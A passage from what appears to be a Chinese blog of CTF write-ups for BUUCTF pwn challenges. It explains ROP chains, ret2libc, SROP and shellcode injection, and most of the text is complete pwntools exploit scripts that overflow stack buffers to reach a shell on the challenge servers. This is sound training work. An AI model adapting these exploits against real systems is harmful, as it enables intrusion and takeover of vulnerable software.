payload2=b'a'*(0x2c+0x4)+p32(re_sys)+b'aaaa'+p32(re_sh)
p.sendline(payload2)
p.interactive()

buu二十九题(picoctf_2018_rop chain)

在vuln函数里面发现万恶的get函数,再往右边看,看到flag函数,点击去发现

是一个打印flag函数的功能,但是要满足一定条件,由于右边还有两个程序员自己写入的函数,也就是win_function1和win_function2那么再点击去看看

win_function1

win_function2

那么我们就可以在这两个函数之间跳转,再根据32位的传参规则就可以满足打印flag所需要的条件

exp如下

点击查看代码

from pwn import *
#p=process("./buu29")
p=remote("node5.buuoj.cn",25430)
win1=0x080485CB
win2=0x080485D8
flag=0x0804862B
payload=b'a'*(0x18+0x4)+p32(win1)+p32(win2)+p32(flag)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
p.sendline(payload)
p.interactive()

buu三十题(jarvisoj_level3)

很常规的一道ret2libc,套路化了,套模版秒了
exp

点击查看代码

from pwn import *
#p=process("./buu30")
p=remote("node5.buuoj.cn",27066)
libc=ELF("libc-2.23.so_16_32")
e=ELF("./buu30")
write_glt=e.symbols["write"]
write_got=e.got["write"]
back=0x804844B
p.recv()
payload1=b'a'*(0x88+0x4)+p32(write_glt)+p32(back)+p32(1)+p32(write_got)+p32(4)
p.send(payload1)
write_addr=u32(p.recv(4))#这里我是把收到的数据进行u32解包得到的数据,你们的可能会不一样
libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_sh=next(libc.search(b'/bin/sh')) 
re_sys=write_addr-libc_write+libc_system
re_sh=write_addr-libc_write+libc_sh
payload=b'a'*(0x88+0x4)+p32(re_sys)+b'aaaa'+p32(re_sh)
p.send(payload)
p.interactive()

buu三十一题(ciscn_2019_s_3)

这题我是用SROP做的,有的师傅好像是用ret2csu写的,但是ret2csu我还不熟练,所有有些师傅是为了ret2csu有问题而来的话,我只能说一声抱歉了.

SROP通过一个系统调用SigreturnFrame()来更改每个寄存器里面的值,不过我本地一直打不通,这可能涉及到了一些很底层的东西,可能还不是这个阶段的的我能解释的.
如果师傅们是为了本地而来的话,那么我也无可奈何.好了,这是远程的exp

点击查看代码

from pwn import *
#p=process("./buu31")
p=remote("node5.buuoj.cn",29935)
#gdb.attach(p)
context(arch='amd64',os='linux',log_level='debug')
syscall=0x400517
mov_rax=0x4004DA
ret=0x00000000004003a9
vuln_addr=0x4004ED
payload1=b'/bin/sh\x00'*0x2+p64(vuln_addr)
p.sendline(payload1)

p.recv(0x20)
binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118
#print(hex(stack))

#print(hex(binsh))

p.recv()
sigframe=SigreturnFrame()
sigframe.rax=0x3b
sigframe.rdx=0
sigframe.rdi=binsh
sigframe.rsi=0
sigframe.rip=syscall
sigframe.r11=0

sleep(1)

payload2=(b'/bin/sh\x00'*2+p64(mov_rax)+p64(syscall)+flat(sigframe))
p.send(payload2)

p.interactive()

#pause()

buu三十二题(ez_pz_hackover_2016)

给了我们栈地址,而且栈保护没开,还有可读可写可执行段,妥妥的写shellcode啊.点击vuln发现漏洞

我们在main函数里面可以输入1023个字节存在s中,这里的vuln函数则是吧s复制给目标串,而dest只需要0x32就可以溢出了,不过之后我在动调时发现这个并不准确.你们也应该动调一下
最后要注意的一点就是我们先要输入b"crashme\x00"才可以进入vuln函数,\x00是为了截断strcmp的字符串检查

OK,exp如下:

点击查看代码

from pwn import *
#p=process("./buu32")
p=remote("node5.buuoj.cn",28530)
#gdb.attach(p)
p.recvuntil(b"Yippie, lets crash: ")
stack=int(p.recv(10),16)
print(hex(stack))
payload=b"crashme\x00"+b'a'*0x12+p32(stack-0x1c)+asm(shellcraft.sh())

p.sendline(payload)
p.interactive()
#pause()

  • 26
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值